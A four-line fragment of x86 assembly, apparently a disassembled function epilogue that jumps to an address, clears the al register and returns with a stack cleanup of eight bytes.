jmp 0x4101bb
xor al, al
leave
ret 8